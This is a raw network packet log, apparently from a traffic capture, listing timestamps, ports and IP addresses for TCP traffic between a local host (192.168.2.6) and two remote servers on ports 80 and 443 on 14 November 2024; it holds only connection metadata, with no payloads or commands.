Nov 14, 2024 17:24:37.999564886 CET	443	49841	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.030101061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030220985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030239105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030270100 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.030329943 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.030514956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030581951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030597925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030646086 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.030848026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030888081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030904055 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030920029 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030936003 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.030961990 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.030997038 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.031228065 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.031243086 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.031330109 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.031434059 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.031450033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.031493902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.031662941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.031681061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.031701088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.031718969 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.031724930 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.031735897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.031769037 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.032160044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032174110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032190084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032208920 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.032244921 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.032417059 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032433033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032448053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032464027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032480001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032493114 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.032533884 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.032932043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032948017 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032963037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032979012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.032990932 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.032994986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033009052 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.033010006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033026934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033040047 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.033041954 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033057928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033071995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033077002 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.033093929 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.033917904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033934116 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033947945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033963919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033978939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.033978939 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.033994913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.034006119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.034012079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.034023046 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.034025908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.034060955 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.034416914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.034431934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.034455061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.034463882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.034501076 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.048885107 CET	443	49837	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.049442053 CET	49837	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.049463034 CET	443	49837	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.051167011 CET	49837	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.051171064 CET	443	49837	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.052730083 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.052925110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.053288937 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.065807104 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066179037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066196918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066241026 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.066399097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066415071 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066430092 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066468000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.066521883 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.066694021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066709995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066726923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066742897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.066765070 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.066795111 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.067115068 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067225933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067243099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067259073 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067276001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067279100 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.067292929 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067327976 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.067357063 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.067481995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067497969 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067512989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067528963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067545891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067549944 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.067560911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.067576885 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.067709923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.112257957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.112286091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.112302065 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.112337112 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.112639904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.112689018 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.113807917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.147557020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.147614956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.147619963 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.147625923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.147686958 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.147864103 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.147874117 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.147885084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.147895098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.147907019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.147923946 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.147957087 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.148313046 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.148324013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.148334980 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.148348093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.148353100 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.148365974 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.148397923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.148726940 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.148737907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.148749113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.148760080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.148797035 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.148827076 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.149092913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149101019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149111986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149122953 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149132967 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149168015 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.149553061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149564981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149574995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149585962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149597883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149607897 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149609089 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.149620056 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.149633884 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.149674892 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.150209904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.150221109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.150230885 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.150240898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.150252104 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.150263071 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.150275946 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.150283098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.150295973 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.150296926 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.150316000 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.150346041 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.150980949 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.150990963 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151000977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151011944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151021004 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151031971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151042938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151047945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151093960 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.151127100 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.151786089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151798010 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151808023 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151818037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151828051 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151838064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.151845932 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.151884079 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.151884079 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.158461094 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.158804893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.158859015 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.182993889 CET	443	49837	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.183043957 CET	443	49837	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.183110952 CET	49837	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.183300972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183363914 CET	49837	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.183377028 CET	443	49837	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.183393002 CET	49837	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.183398962 CET	443	49837	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.183429956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183439970 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183504105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183506966 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.183547020 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.183621883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183634043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183681011 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.183819056 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183829069 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183837891 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183847904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.183868885 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.183898926 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.184145927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184195042 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184308052 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184313059 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.184324026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184334040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184367895 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.184531927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184542894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184591055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.184777975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184804916 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184814930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.184828043 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.184856892 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.185988903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.186000109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.186065912 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.187684059 CET	49842	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.187740088 CET	443	49842	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.187818050 CET	49842	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.187980890 CET	49842	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:38.187997103 CET	443	49842	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:38.229166985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.229338884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.229439020 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.229656935 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.229667902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.229679108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.229706049 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.265141964 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265218019 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265228033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265403986 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.265403986 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.265444040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265564919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265575886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265628099 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.265822887 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265832901 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265841007 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265849113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265857935 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.265877962 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.265909910 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.266415119 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.266426086 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.266433954 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.266443014 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.266450882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.266459942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.266469002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.266478062 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.266514063 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.266514063 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.267151117 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267160892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267204046 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.267390966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267400980 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267453909 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.267468929 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267482042 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267489910 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267498970 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267505884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267513990 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.267514944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.267554045 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.268467903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.268477917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.268498898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.268515110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.268528938 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.268529892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.268544912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.268558979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.268560886 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.268570900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.268598080 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.268626928 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.269306898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.269316912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.269325018 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.269334078 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.269342899 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.269354105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.269366980 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.269366980 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.269376040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.269390106 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.269424915 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.270291090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.270301104 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.270312071 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.270322084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.270328999 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.270339012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.270347118 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.270348072 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.270369053 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.270375013 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.270406961 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.271179914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.271189928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.271234035 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.275719881 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.275783062 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.275821924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300115108 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300189972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300199032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300340891 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.300340891 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.300539017 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300653934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300662041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300704002 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:38.300784111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:38.300793886 CET	80	49830	185.215.113.16	192.168.2.6
